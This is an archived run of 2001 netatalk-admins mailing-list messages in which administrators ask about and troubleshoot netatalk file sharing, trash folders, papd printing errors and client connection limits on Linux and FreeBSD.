From netatalk.administrators-errors@umich.edu  Tue Aug 28 12:47:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA11426
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 12:47:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA27436
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 12:47:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA27419
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 12:47:18 -0400 (EDT)
Received: from cluster1.sfsu.edu (cluster1.sfsu.edu [130.212.10.213])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA27384
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 12:47:17 -0400 (EDT)
Received: from [130.212.243.126] (dhcp243-126.sfsu.edu [130.212.243.126])
	by cluster1.sfsu.edu (8.11.4/8.11.4) with ESMTP id f7SGlFb19005
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 09:47:16 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 28 Aug 2001 09:47:10 -0700
Subject: <no subject>
From: Rob deMallac <rsauzier@sfsu.edu>
To: <netatalk-admins@umich.edu>
Message-ID: <B7B1191E.124%rsauzier@sfsu.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

unsubscribe


From netatalk.administrators-errors@umich.edu  Tue Aug 28 12:55:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA11620
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 12:55:33 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA14032
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 12:55:33 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA14019
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 12:55:32 -0400 (EDT)
Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.72.0.53])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA13994
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 12:55:31 -0400 (EDT)
Received: from grand-central-station.mit.edu (GRAND-CENTRAL-STATION.MIT.EDU [18.7.21.82])
	by fort-point-station.mit.edu (8.9.2/8.9.2) with ESMTP id MAA17121;
	Tue, 28 Aug 2001 12:55:30 -0400 (EDT)
Received: from manawatu-mail-centre.mit.edu (MANAWATU-MAIL-CENTRE.MIT.EDU [18.7.21.85])
	by grand-central-station.mit.edu (8.9.2/8.9.2) with ESMTP id MAA21533;
	Tue, 28 Aug 2001 12:55:30 -0400 (EDT)
Received: from sligo.mit.edu (SLIGO.MIT.EDU [18.90.2.65])
	by manawatu-mail-centre.mit.edu (8.9.2/8.9.2) with ESMTP id MAA23661;
	Tue, 28 Aug 2001 12:55:29 -0400 (EDT)
Received: from sligo.mit.edu (tfitz@localhost) by sligo.mit.edu (8.9.3) with ESMTP
	id MAA21667; Tue, 28 Aug 2001 12:55:25 -0400 (EDT)
Message-Id: <200108281655.MAA21667@sligo.mit.edu>
X-Mailer: exmh version 2.1.1 10/15/1999
To: Harald Wagener <hwagener@fcb-wilkens.com>
cc: netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] Files not appearing in folder on mac client
In-Reply-To: Message from Harald Wagener <hwagener@fcb-wilkens.com> 
   of "Tue, 28 Aug 2001 18:28:56 +0200." <3B8BC6C8.97BFB6E3@fcb-wilkens.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Date-Scaliger: 2452150.205
Date: Tue, 28 Aug 2001 12:55:25 -0400
From: Tom Fitzgerald <tfitz@MIT.EDU>

> You could set the sticky bit on directories (2775 instead of 0775). all files
> created in the folder then belong to the group of the folder. The sticky 
> it is honored by  netatalk as well, being handled on the underlying 
> (file system) layer.

Not to be pedantic or anything, but 2xxx is the setgid bit.  It's still
what you want.  The sticky bit is 1xxx and does something else.




From netatalk.administrators-errors@umich.edu  Tue Aug 28 15:07:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA18385
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 15:07:36 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id PAA09465
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 15:07:36 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA09441
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 15:07:35 -0400 (EDT)
Received: from escalus.arlington.k12.va.us (escalus.arlington.k12.va.us [158.59.255.14])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA09399
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 15:07:34 -0400 (EDT)
Received: from mindspring.com (unknown [158.59.253.69])
	by escalus.arlington.k12.va.us (Postfix) with ESMTP id 335D01F
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 15:07:22 -0400 (EDT)
Message-ID: <3B8BEBE9.5B8417C7@mindspring.com>
Date: Tue, 28 Aug 2001 15:07:23 -0400
From: "A. Lester Burke" <leburke@mindspring.com>
Reply-To: leburke@mindspring.com
Organization: Arlington Public Schools
X-Mailer: Mozilla 4.78 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
Cc: netatalk-admins@umich.edu
Subject: Was working now is not
References: <200108281655.MAA21667@sligo.mit.edu>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit

Hello,
I need some help,
I have netatalk running on FreeBSD The volume is set to mount via IP
when a user logs in. via Macintosh Manager
It was working yesterday.  Today when I login to my ASIP server, the
Netatalk volume will not mount.

I can get to the server via Appleshare IP with no problem

the messages log reports the following errors :
dsi_stream_read(-1)
dsi_stream_write: Broken pipe
afp_openfork: ad_open: Permission denied
afp_alarm: Chilled timed out

Anybody have any idea what is happening to my netatalk box ?  What would
have changed.
--
A. Lester Burke
Network Analyst
Arlington Public Schools, VA
V 703-228-6057
E leburke@mindspring.com



From netatalk.administrators-errors@umich.edu  Tue Aug 28 18:29:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA29996
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 18:29:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA29779
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 18:29:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA29762
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 18:29:55 -0400 (EDT)
Received: from escalus.arlington.k12.va.us (escalus.arlington.k12.va.us [158.59.255.14])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA29729
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 18:29:54 -0400 (EDT)
Received: from mindspring.com (unknown [158.59.253.69])
	by escalus.arlington.k12.va.us (Postfix) with ESMTP id 1A3CB21
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 18:29:55 -0400 (EDT)
Message-ID: <3B8C1B62.D4272208@mindspring.com>
Date: Tue, 28 Aug 2001 18:29:56 -0400
From: "A. Lester Burke" <leburke@mindspring.com>
Reply-To: leburke@mindspring.com
Organization: Arlington Public Schools
X-Mailer: Mozilla 4.78 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: multiple logins under the same user name
References: <200108281655.MAA21667@sligo.mit.edu> <3B8BEBE9.5B8417C7@mindspring.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit

I need to have a bunch of users 75 mount and access a volume on a
Netatalk box.  Is this possible to do.. say have everybody login as the
same user? If yes where do I make that change ?

Thanks

--
A. Lester Burke
Network Analyst
Arlington Public Schools, VA
V 703-228-6057
E leburke@mindspring.com



From netatalk.administrators-errors@umich.edu  Tue Aug 28 19:32:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA02751
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 19:32:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA06568
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 19:32:00 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA06551
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 19:32:00 -0400 (EDT)
Received: from gemini.faredge.com.au ([203.94.150.195])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id TAA06497
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 19:31:58 -0400 (EDT)
Received: (qmail 17730 invoked from network); 28 Aug 2001 23:31:36 -0000
Received: from unknown (HELO celery) (203.94.150.200)
  by 203.94.150.195 with SMTP; 28 Aug 2001 23:31:36 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: RE: trash folder
Date: Wed, 29 Aug 2001 09:31:37 +1000
Message-ID: <000e01c13019$95e65360$c8965ecb@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
In-Reply-To: <002501c12f9c$78673d40$1501a8c0@RENATO>
Importance: Normal

Hi Renato,

You haven't given any information about your configuration, but if the
following is true, then your network trash won't work.

and kernel = 2.4.xx

and filesystem = ext2fs

There are mixed reports of success by people using reiserfs. My mileage has
been that both byte range & file locking do not work with the above details
(as far as trash is concerned), despite what others might say.

If you're using a 2.2 kernel then file locking won't work properly (read
won't lock).

Of course, all of this is assuming you're using linux.


-----Original Message-----
From: Keen srl [mailto:renato@keen.co.it]
Sent: Tuesday, 28 August 2001 18:36
To: netatalk-admins@umich.edu
Subject: trash folder


hi,
where i can find the content of the trsh folder on the linux server?

what i mean is about this: all my mac clients have on trash folder the same
things (a couple of file) and they can't empty it because the system says
that " the file are in use". of course no one use this file i remember that
i read on this list a problem about network trash folder on netatalk server.
so first of all i would like to go to the server and try to cancel these
files by hand and then, if possible, solve the problem.

any idea?

TIA Renato Pontefice


From netatalk.administrators-errors@umich.edu  Tue Aug 28 23:03:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA10509
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 23:03:07 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id XAA22641
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 23:03:07 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA22629
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 23:03:07 -0400 (EDT)
Received: from laxmls04.socal.rr.com (laxmls04.socal.rr.com [24.30.163.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA22623
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 23:03:06 -0400 (EDT)
Received: from [192.168.0.4] (sc-66-27-29-15.socal.rr.com [66.27.29.15])
	by laxmls04.socal.rr.com (8.11.4/8.11.3) with ESMTP id f7T334C01149
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 20:03:04 -0700 (PDT)
Mime-Version: 1.0
X-Sender: rogerf1@mail.mac.com
Message-Id: <a05100e01b7b208cd4e28@[192.168.0.4]>
Date: Tue, 28 Aug 2001 20:03:03 -0700
To: netatalk-admins@umich.edu
From: Roger Fischer <rogerf1@mac.com>
Subject: Need help with papd
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

When I try to print from my MacOS X computer to my RedHat 7.1 Linux computer,
I get the following error on my MacOS X computer:

	"This print job failed due to a printer PostScript
	error. (Spooler error.)"

When I look at /var/log/messages on the linux computer, I see the following:

*- snip -*
Aug 28 19:49:15 icarus papd[9865]: child 9874 for "stc800" from 65397.229
Aug 28 19:49:17 icarus papd[9874]: lp_init: lock: No such file or directory
Aug 28 19:49:17 icarus papd[9874]: lp_open failed
Aug 28 19:49:20 icarus papd[9865]: child 9874 done
*- snip -*


I setup up the printer using printconf-gui, and printing works fine 
directly from the Linux box.  This same configuration was working 
fine under RedHat 6.1.
I'm using Netatalk version.  netatalk-1.4b2+asun2.1.3-6

Any help would be greatly appreciated since Mac OS X doesnt' support my
serial Epson Stylus Color 800.  (USB ones are no problem).

Thanks,
	-Roger

Here's what my config files look like:


*-snip -*
# /etc/printcap
stc800|lp:\
         :sh:\
         :ml=0:\
         :mx=0:\
         :sd=/var/spool/lpd/stc800:\
         :lp=/dev/lp0:\
         :lpd_bounce=true:\
         :if=/usr/share/printconf/mf_wrapper:
*- snip -*


*-snip-*
# /etc/atalk/papd.conf
stc800:\
         :pr=stc800:\
         :op=admin:\
         :pd=/etc/atalk/EpsonStylusColor800.ppd:
*-snip-*

From netatalk.administrators-errors@umich.edu  Tue Aug 28 23:03:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA10545
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 23:03:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id XAA22530
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 23:03:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA22506
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 23:03:55 -0400 (EDT)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA22462
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 23:03:54 -0400 (EDT)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id XAA04560
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 23:34:53 -0400 (EDT)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
Subject: Server not showing in chooser
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Tue, 28 Aug 2001 23:03:47 -0400
Message-ID: <1eyvhb3.1bhcjqldt6wz6M@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 218 days)

I had a problemw with my *nix box.

(I stupidly deleted the kernel)

In debugging I recompiled netatalk.

Freebsd 3.2 and 1.4b2+asun.

Some of my macs see the server in the chooser and some don't.

What could be wrong?

From netatalk.administrators-errors@umich.edu  Wed Aug 29 08:15:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA26081
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 29 Aug 2001 08:15:44 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA17314
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 29 Aug 2001 08:15:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA17290
	for netatalk.administrators-members@umich.edu; Wed, 29 Aug 2001 08:15:43 -0400 (EDT)
Received: from mail.jamesltaylor.com (mail.jamesltaylor.com [205.232.131.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA17228
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 08:15:41 -0400 (EDT)
Received: from [205.232.131.4] (CAD.jamesltaylor.com [205.232.131.4])
	by mail.jamesltaylor.com (8.9.3/8.8.7) with ESMTP id HAA14199
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 07:58:08 -0400
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 29 Aug 2001 08:15:46 -0400
Subject: Re: multiple logins under the same user name
From: Vic Landi <vic@mail.jamesltaylor.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7B25531.4355%vic@jamesltaylor.com>
In-Reply-To: <3B8C1B62.D4272208@mindspring.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

We do this here and it seems to work fine (as long as you have your users
set high enough in your config file)

There are a few drawbacks -

1) All the folder settings are common to all users

(from the mac one user opens a folder, sorts it by list and then starts
flipping the arrows on the directories to see the folder contents, the next
person to connect will see this mess)

2) Anything that is put in the trash can will be deleted if another user
empties their trash

Vic Landi


> From: "A. Lester Burke" <leburke@mindspring.com>
> Organization: Arlington Public Schools
> Reply-To: leburke@mindspring.com
> Date: Tue, 28 Aug 2001 18:29:56 -0400
> To: netatalk-admins@umich.edu
> Subject: multiple logins under the same user name
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Tue, 28 Aug 2001 18:35:52 -0400 (EDT)
> 
> I need to have a bunch of users 75 mount and access a volume on a
> Netatalk box.  Is this possible to do.. say have everybody login as the
> same user? If yes where do I make that change ?
> 
> Thanks
> 
> --
> A. Lester Burke
> Network Analyst
> Arlington Public Schools, VA
> V 703-228-6057
> E leburke@mindspring.com
> 


From netatalk.administrators-errors@umich.edu  Wed Aug 29 08:57:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA27368
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 29 Aug 2001 08:57:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA20795
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 29 Aug 2001 08:57:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA20759
	for netatalk.administrators-members@umich.edu; Wed, 29 Aug 2001 08:57:18 -0400 (EDT)
Received: from escalus.arlington.k12.va.us (escalus.arlington.k12.va.us [158.59.255.14])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA20718
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 08:57:17 -0400 (EDT)
Received: from mindspring.com (unknown [158.59.253.69])
	by escalus.arlington.k12.va.us (Postfix) with ESMTP
	id AD6401D; Wed, 29 Aug 2001 08:57:17 -0400 (EDT)
Message-ID: <3B8CE6AD.6122E248@mindspring.com>
Date: Wed, 29 Aug 2001 08:57:09 -0400
From: "A. Lester Burke" <leburke@mindspring.com>
Reply-To: leburke@mindspring.com
Organization: Arlington Public Schools
X-Mailer: Mozilla 4.78 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: =?iso-8859-1?Q?=95questions=40freebsd=2Eorg?= <questions@freebsd.org>,
        netatalk-admins@umich.edu
Subject: max number of concurrent connections
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit

Under the Linux configuration of Netatalk there is a file called config
that allows for the setting of the maximum number of clients that can
connect at one time.

Where is the equivalent parameter set in FreeBSD 4.3.

Thank You

--
A. Lester Burke
Network Analyst
Arlington Public Schools, VA
V 703-228-6057
E leburke@mindspring.com



From netatalk.administrators-errors@umich.edu  Wed Aug 29 09:11:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA27883
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 29 Aug 2001 09:11:16 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA19828
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 29 Aug 2001 09:11:16 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA19808
	for netatalk.administrators-members@umich.edu; Wed, 29 Aug 2001 09:11:15 -0400 (EDT)
Received: from boksa.de (boksa.de [213.198.31.191])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA19759
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 09:11:14 -0400 (EDT)
Received: from [192.168.0.60] (sidebysite-gw.sdsl.cybernet-ag.de [195.143.193.53]) by boksa.de (8.11.2) id f7TDAuY96283; Wed, 29 Aug 2001 07:10:56 -0600 (MDT)
User-Agent: Microsoft-Entourage/9.0.2509
Date: Wed, 29 Aug 2001 15:10:51 +0200
Subject: Re: max number of concurrent connections
From: Benjamin Boksa <webmaster@boksa.de>
To: <leburke@mindspring.com>,
        "=?ISO-8859-1?B?lQ==?=questions@freebsd.org" <questions@freebsd.org>,
        <netatalk-admins@umich.edu>
Message-ID: <B7B2B67B.5FD2%webmaster@boksa.de>
In-Reply-To: <3B8CE6AD.6122E248@mindspring.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi Lester!

I don't know much about Netatalk with FreeBSD, but I know that there is the
possibility to start afpd with the max number of clients:

/usr/sbin/afpd -c 10

Will start Netatalk with 10 possible concurrent clients.

I hope this information helps you.

Regards,

Benjamin Boksa


> Under the Linux configuration of Netatalk there is a file called config
> that allows for the setting of the maximum number of clients that can
> connect at one time.
> 
> Where is the equivalent parameter set in FreeBSD 4.3.
> 
> Thank You
> 
> --
> A. Lester Burke
> Network Analyst
> Arlington Public Schools, VA
> V 703-228-6057
> E leburke@mindspring.com
> 
> 
> 



From netatalk.administrators-errors@umich.edu  Wed Aug 29 09:17:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA28342
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 29 Aug 2001 09:17:55 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA15816
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 29 Aug 2001 09:17:39 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA15797
	for netatalk.administrators-members@umich.edu; Wed, 29 Aug 2001 09:17:38 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.89])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA15761
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 09:17:37 -0400 (EDT)
Received: by smtpout.mac.com; Wed, 29 Aug 2001 06:17:18 -0700 (PDT)
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun
          21 2001 23:53:48) with ESMTP id GITZKU00.M7D for
          <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 06:17:18 -0700 
Received: from [10.0.0.6] ([62.175.32.122]) by asmtp01.mac.com
          (Netscape Messaging Server 4.15 asmtp01 Jun 21 2001 23:53:48)
          with ESMTP id GITZKT00.38C; Wed, 29 Aug 2001 06:17:17 -0700 
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Wed, 29 Aug 2001 15:17:13 +0200
Subject: Re: max number of concurrent connections
From: Jason Quigley <jasonq@mac.com>
To: <leburke@mindspring.com>,
        "=?ISO-8859-1?B?lQ==?=questions@freebsd.org" <questions@freebsd.org>,
        <netatalk-admins@umich.edu>
Message-ID: <B7B2B7F9.1F3B%jasonq@mac.com>
In-Reply-To: <3B8CE6AD.6122E248@mindspring.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

/usr/local/etc/netatalk.conf (I'm using the cvs version, but the ports one
should be the same)

Cheers,
Jason.

On 8/29/01 2:57 PM, "A. Lester Burke" wrote:

> Under the Linux configuration of Netatalk there is a file called config
> that allows for the setting of the maximum number of clients that can
> connect at one time.
> 
> Where is the equivalent parameter set in FreeBSD 4.3.
> 
> Thank You
> 
> --
> A. Lester Burke
> Network Analyst
> Arlington Public Schools, VA
> V 703-228-6057
> E leburke@mindspring.com
> 
> 


From netatalk.administrators-errors@umich.edu  Wed Aug 29 09:27:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA28707
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 29 Aug 2001 09:27:01 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA00938
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 29 Aug 2001 09:26:45 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA00914
	for netatalk.administrators-members@umich.edu; Wed, 29 Aug 2001 09:26:44 -0400 (EDT)
Received: from pete.uri.edu (PETE.URI.EDU [131.128.1.12])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA00878
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 09:26:43 -0400 (EDT)
Received: from [131.128.89.102] ([131.128.89.102])
	by pete.uri.edu (8.9.1/8.9.1) with SMTP id JAA03560
	for <netatalk-admins@umich.edu>; Wed, 29 Aug 2001 09:26:58 -0400 (EDT)
Message-Id: <v01550103b7b29cf6d9b8@[131.128.89.102]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 29 Aug 2001 09:27:59 -0400
To: netatalk-admins@umich.edu
From: cma@uri.edu (Christopher M. Anderson)
Subject: Re: Need help with papd

I also have been experiencing this problem with Redhat 7.1, MacOS 9.0.4,
and netatalk 1.5pre6.  The error on the Mac side is:
"[file] could not be printed on printer [printer] because of a Postscript
error."

The errors on the linux side (in messages) are exactly those Roger found.

I, too, would appreciate any suggestions for resolving this.

Thanks,
Chris

At 8:03 PM 8/28/01, Roger Fischer wrote:
>When I try to print from my MacOS X computer to my RedHat 7.1 Linux computer,
>I get the following error on my MacOS X computer:
>
>        "This print job failed due to a printer PostScript
>        error. (Spooler error.)"
>
>When I look at /var/log/messages on the linux computer, I see the following:
>
>*- snip -*
>Aug 28 19:49:15 icarus papd[9865]: child 9874 for "stc800" from 65397.229
>Aug 28 19:49:17 icarus papd[9874]: lp_init: lock: No such file or directory
>Aug 28 19:49:17 icarus papd[9874]: lp_open failed
>Aug 28 19:49:20 icarus papd[9865]: child 9874 done
>*- snip -*
>
>
